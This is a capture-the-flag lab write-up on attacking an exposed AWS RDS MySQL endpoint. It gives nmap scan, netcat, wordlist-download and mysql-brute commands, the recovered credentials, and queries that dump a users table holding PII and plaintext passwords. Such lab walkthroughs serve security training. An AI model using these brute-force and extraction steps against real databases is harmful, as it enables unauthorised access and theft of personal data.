Pillage Exposed RDS Instances

Analyze the challenge

The challenge is to exploit an exposed RDS instance, specifically a MySQL database. The provided walkthrough outlines the steps: scan the endpoint, brute-force credentials, connect to the database, and extract the flag.

Scenario

In the backdrop of rising cybersecurity threats, with chatter on Telegram channels hinting at data dumps and Pastebin snippets exposing snippets of configurations, Our Target: Huge Logistics is taking no chances. They've enlisted your team's expertise to rigorously assess their cloud infrastructure. Armed with a list of IP addresses and endpoints, a lead emerged — an **RDS endpoint**: `exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com`. Our mission? should we chose to attack? Dives deep into this endpoint's security, and identify any security issues before threat actors do.

Real-World context

Amazon Relational Database Service (RDS) is a web service that allows for easy set up, operation, and scaling of relational databases in the cloud. Administration tasks such as hardware provisioning, database setup, patching, and backups are handled by AWS, allowing us to spend more time at the application level.

Amazon RDS supports several database instances including:

1. Amazon Aurora (port 3306)
2. PostgreSQL (5432)
3. MySQL (port 3306)
4. MariaDB (port 3306)
5. Oracle Database (port 1521)
6. SQL Server (port 1433)

It's worth noting that although in this scenario an RDS endpoint was provided, that resolves to a dynamic RDS IP address from the EC2 address pool. We could just as well connect to the IP address in this lab.

Plan the attack

Enumeration

1. Perform an nmap scan to identify open ports

```
nmap -Pn -p3306,5432,1433,1521 exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
```

We see that port 3306 is open. This is the default port for MySQL

2. Use netcat to confirm the MySQL service on port 3306

```
nc exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com 3306
```

This confirms that the service is MySQL. We can try to manually guess the credentials, but it's more efficient to use a wordlist

A worflist is a list of common usernames and passwords that can be used to brute-force login credentials. We can use the `mysql-brute` script in nmap to automate this process

3. Download the MySQL default credentials wordlist

```
wget
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords
/Default-Credentials/mysql-betterdefaultpasslist.txt -O mysql-creds.txt
```

4. Format the wordlist to the correct format.

```
sed -i '' 's/:/\//g' mysql-creds.txt
```

5. Run the nmap mysql-brute script.

```
nmap -Pn -p3306 --script=mysql-brute --script-args
brute.delay=10,brute.mode=creds,brute.credfile=mysql-creds.txt
exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
```

The output of the nmap command reveals the credentials: `dbuser:123`

Access exposed DB

1. Connect to the MySQL database using the found credentials.

```
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p
```

Enter password: `123`

2. Query the database to find the flag.

```
SHOW GLOBAL VARIABLES like 'tmpdir';
SHOW GRANTS FOR 'dbuser';
use user_info;
show tables;
```

```
select * from users;
select * from flag;
```

The users table contains PII (Personally identifiable information), and even unencrypted passwords 👷

The flag is: `xxxxxxxxxxxxxxxxxxxxxxxxxxxxfd5a62`

Defense Recommendations

One of the most important steps in defense is knowing your installed base of servers, laptops and other infrastructure, where they are accessible from, and who has permissions over them. Performing frequent inventories of current assets is a low-tech but impactful exercise